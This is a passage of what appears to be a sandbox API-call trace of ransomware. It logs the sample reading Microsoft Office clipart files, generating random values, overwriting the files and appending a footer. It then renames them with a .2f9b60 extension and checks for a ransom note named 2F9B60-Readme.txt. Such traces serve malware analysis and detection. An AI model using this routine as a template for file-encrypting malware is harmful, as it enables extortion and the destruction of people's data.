0x1cec0fa0 [0242.501] wcscpy (in: _Dest=0x1cec0fa0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0242.501] wcscat (in: _Dest=0x1cec0fa0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt" [0242.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\2f9b60-readme.txt")) returned 0x20 [0242.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec0fa0) returned 1 [0242.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205db90) returned 1 Thread: id = 1536 os_tid = 0x1a54 [0121.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x20 [0122.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF", dwFileAttributes=0x20) returned 1 [0122.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfec [0122.500] GetFileSizeEx (in: hFile=0xfec, lpFileSize=0x1f48f720 | out: lpFileSize=0x1f48f720*=2166) returned 1 [0122.500] SetFilePointerEx (in: hFile=0xfec, liDistanceToMove=0x872, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.501] ReadFile (in: hFile=0xfec, lpBuffer=0x1f48f6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f48f6e8, lpOverlapped=0x0 | out: lpBuffer=0x1f48f6a0*, lpNumberOfBytesRead=0x1f48f6e8*=0x4, lpOverlapped=0x0) returned 1 [0122.548] SetFilePointerEx (in: hFile=0xfec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0122.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050de40 [0122.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ded0 [0122.549] NtQuerySystemTime (in: CurrentTime=0x1f48f5e0 | out: CurrentTime=0x1f48f5e0*=132462177279274000) returned 0x0 [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x19b748b4 [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x73350ceb [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x3e64f47b [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x478a3d1f [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x7fde1c12 [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x3c4dc497 [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x17804fc1 [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x7741a232 [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x3c2ca66 [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x239a49af [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x2c292aec [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x16785fe3 [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x5944b602 [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x43526d41 [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x7a3a4c9f [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x42f8a71a [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x6992885f [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x5c88d1f4 [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x7310a8f3 [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x99e26d6 [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x12bdb7ed [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x770d0b00 [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x2f780d58 [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x298f0f8d [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x5aad4a98 [0122.549] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x3826d4a8 [0122.550] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0xaf55fed [0122.550] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x3e1e65e2 [0122.550] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x419ae15 [0122.550] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x13f0e7d4 [0122.550] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x1125292a [0122.550] RtlRandomEx (in: Seed=0x1f48f5d0 | out: Seed=0x1f48f5d0) returned 0x7b15c28b [0122.557] ReadFile (in: hFile=0xfec, lpBuffer=0x204a8750, nNumberOfBytesToRead=0x876, lpNumberOfBytesRead=0x1f48f5d0, lpOverlapped=0x0 | out: lpBuffer=0x204a8750*, lpNumberOfBytesRead=0x1f48f5d0*=0x876, lpOverlapped=0x0) returned 1 [0122.557] SetFilePointerEx (in: hFile=0xfec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.557] WriteFile (in: hFile=0xfec, lpBuffer=0x204ac360*, nNumberOfBytesToWrite=0x876, lpNumberOfBytesWritten=0x1f48f5d4, lpOverlapped=0x0 | out: lpBuffer=0x204ac360*, lpNumberOfBytesWritten=0x1f48f5d4*=0x876, lpOverlapped=0x0) returned 1 [0122.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f100 [0122.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f130 [0122.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f130) returned 1 [0122.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ac360) returned 1 [0122.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204a8750) returned 1 [0122.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec10) returned 1 [0122.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c800) returned 1 [0122.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050f130 [0122.834] SetFilePointerEx (in: hFile=0xfec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.834] WriteFile (in: hFile=0xfec, lpBuffer=0x204ffb10*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1f48f6f0, lpOverlapped=0x0 | out: lpBuffer=0x204ffb10*, lpNumberOfBytesWritten=0x1f48f6f0*=0x10a, lpOverlapped=0x0) returned 1 [0123.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d50 [0123.049] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0123.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050de10 [0123.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050de10) returned 1 [0123.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0123.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050de10 [0123.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dde0 [0123.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dde0) returned 1 [0123.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0123.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d50) returned 1 [0123.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0123.051] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="73") returned 2 [0123.051] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="79") returned 2 [0123.051] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="37") returned 2 [0123.051] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="c9") returned 2 [0123.051] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="f0") returned 2 [0123.051] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="dc") returned 2 [0123.051] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="23") returned 2 [0123.051] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="56") returned 2 [0123.051] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="1e") returned 2 [0123.051] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="41") returned 2 [0123.051] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="d1") returned 2 [0123.051] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="44") returned 2 [0123.051] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="92") returned 2 [0123.051] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="67") returned 2 [0123.051] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="de") returned 2 [0123.051] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="8a") returned 2 [0123.051] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="c8") returned 2 [0123.051] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="fd") returned 2 [0123.051] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="e3") returned 2 [0123.051] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="d5") returned 2 [0123.051] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="c6") returned 2 [0123.051] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="4c") returned 2 [0123.051] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="a2") returned 2 [0123.051] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="53") returned 2 [0123.051] RtlInitAnsiString (in: DestinationString=0x1f48f768, SourceString="737937c9f0dc23561e41d1449267de8ac8fde3d5c64ca253" | out: DestinationString="737937c9f0dc23561e41d1449267de8ac8fde3d5c64ca253") [0123.051] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f48f738, SourceString="737937c9f0dc23561e41d1449267de8ac8fde3d5c64ca253", AllocateDestinationString=1 | out: DestinationString="737937c9f0dc23561e41d1449267de8ac8fde3d5c64ca253") returned 0x0 [0123.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9240 [0123.052] wcscat (in: _Dest=0x202b1370, _Source="737937c9f0dc" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\737937c9f0dc") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\737937c9f0dc" [0123.052] wcscat (in: _Dest=0x202b1370, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\737937c9f0dc.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\737937c9f0dc.2f9b60" [0123.052] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\737937c9f0dc.2f9b60", NtPathName=0x1f48f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\737937c9f0dc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107fc0 [0123.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107fc0) returned 1 [0123.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20293df0) returned 1 [0123.387] NtQueryInformationFile (in: FileHandle=0xfec, IoStatusBlock=0x1f48f778, FileInformation=0x1f48f788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f48f778, FileInformation=0x1f48f788) returned 0x0 [0123.387] NtSetInformationFile (FileHandle=0xfec, IoStatusBlock=0x1f48f778, FileInformation=0x1f48f788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1370) returned 1 [0123.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9240) returned 1 [0123.393] FlushFileBuffers (hFile=0xfec) returned 1 [0123.399] CloseHandle (hObject=0xfec) returned 1 [0123.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1b90 [0123.400] wcscpy (in: _Dest=0x202b1b90, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0123.400] wcscat (in: _Dest=0x202b1b90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0123.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0123.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1b90) returned 1 [0123.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a45c0) returned 1 Thread: id = 1537 os_tid = 0x1a58 [0121.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x20 [0122.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF", dwFileAttributes=0x20) returned 1 [0122.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xff0 [0123.454] GetFileSizeEx (in: hFile=0xff0, lpFileSize=0x20c3f780 | out: lpFileSize=0x20c3f780*=1712) returned 1 [0123.454] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x6ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.454] ReadFile (in: hFile=0xff0, lpBuffer=0x20c3f700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20c3f748, lpOverlapped=0x0 | out: lpBuffer=0x20c3f700*, lpNumberOfBytesRead=0x20c3f748*=0x4, lpOverlapped=0x0) returned 1 [0123.748] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d900 [0123.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ece0 [0123.748] NtQuerySystemTime (in: CurrentTime=0x20c3f640 | out: CurrentTime=0x20c3f640*=132462177291286000) returned 0x0 [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x3348d6c7 [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x360fa40b [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x1a5f372d [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x6a5752ec [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x363f0a5d [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x3a419aed [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x73015853 [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x755db6d6 [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x1a362ae8 [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x755db6d6 [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x50f194cb [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x6d104318 [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x765e00d5 [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x411267f8 [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0xa9b6bfd [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x5da06a0a [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x10d62263 [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x6aa694be [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x4890929f [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x2e708b56 [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x71c055b4 [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x26442ace [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x2d63f0b9 [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x2da7f3cc [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x74ebf00 [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x177e3b32 [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x40cba65e [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x6ce34c0 [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x77f552e3 [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x3fa9c00e [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x273ad297 [0123.749] RtlRandomEx (in: Seed=0x20c3f630 | out: Seed=0x20c3f630) returned 0x4ef912bb [0124.497] ReadFile (in: hFile=0xff0, lpBuffer=0x41d2a520, nNumberOfBytesToRead=0x6b0, lpNumberOfBytesRead=0x20c3f630, lpOverlapped=0x0 | out: lpBuffer=0x41d2a520*, lpNumberOfBytesRead=0x20c3f630*=0x6b0, lpOverlapped=0x0) returned 1 [0124.497] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.497] WriteFile (in: hFile=0xff0, lpBuffer=0x20473b80*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x20c3f634, lpOverlapped=0x0 | out: lpBuffer=0x20473b80*, lpNumberOfBytesWritten=0x20c3f634*=0x6b0, lpOverlapped=0x0) returned 1 [0124.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860a80 [0124.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ab0 [0124.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ab0) returned 1 [0124.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20473b80) returned 1 [0124.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d2a520) returned 1 [0124.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866cc0) returned 1 [0124.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d30) returned 1 [0124.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860ab0 [0124.548] SetFilePointerEx (in: hFile=0xff0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.548] WriteFile (in: hFile=0xff0, lpBuffer=0x167ee0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x20c3f750, lpOverlapped=0x0 | out: lpBuffer=0x167ee0*, lpNumberOfBytesWritten=0x20c3f750*=0x10a, lpOverlapped=0x0) returned 1 [0124.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0124.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504410 [0124.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d90 [0124.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d90) returned 1 [0124.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0124.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d90 [0124.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d30 [0124.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d30) returned 1 [0124.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0124.614] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="62") returned 2 [0124.614] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="cb") returned 2 [0124.614] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="d2") returned 2 [0124.614] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="bc") returned 2 [0124.614] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="5c") returned 2 [0124.614] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="8b") returned 2 [0124.614] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="b4") returned 2 [0124.614] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="ae") returned 2 [0124.614] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="1c") returned 2 [0124.614] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="7a") returned 2 [0124.615] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="79") returned 2 [0124.615] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="b9") returned 2 [0124.615] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="91") returned 2 [0124.615] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="02") returned 2 [0124.615] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="42") returned 2 [0124.615] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="b4") returned 2 [0124.615] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="b1") returned 2 [0124.615] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="48") returned 2 [0124.615] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="28") returned 2 [0124.615] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="fc") returned 2 [0124.615] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="22") returned 2 [0124.615] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="08") returned 2 [0124.615] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="7b") returned 2 [0124.615] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="88") returned 2 [0124.615] RtlInitAnsiString (in: DestinationString=0x20c3f7c8, SourceString="62cbd2bc5c8bb4ae1c7a79b9910242b4b14828fc22087b88" | out: DestinationString="62cbd2bc5c8bb4ae1c7a79b9910242b4b14828fc22087b88") [0124.615] RtlAnsiStringToUnicodeString (in: DestinationString=0x20c3f798, SourceString="62cbd2bc5c8bb4ae1c7a79b9910242b4b14828fc22087b88", AllocateDestinationString=1 | out: DestinationString="62cbd2bc5c8bb4ae1c7a79b9910242b4b14828fc22087b88") returned 0x0 [0124.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863f80 [0124.615] wcscat (in: _Dest=0x2027b910, _Source="62cbd2bc5c8b" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\62cbd2bc5c8b") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\62cbd2bc5c8b" [0124.615] wcscat (in: _Dest=0x2027b910, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\62cbd2bc5c8b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\62cbd2bc5c8b.2f9b60" [0124.615] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\62cbd2bc5c8b.2f9b60", NtPathName=0x20c3f770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\62cbd2bc5c8b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106940 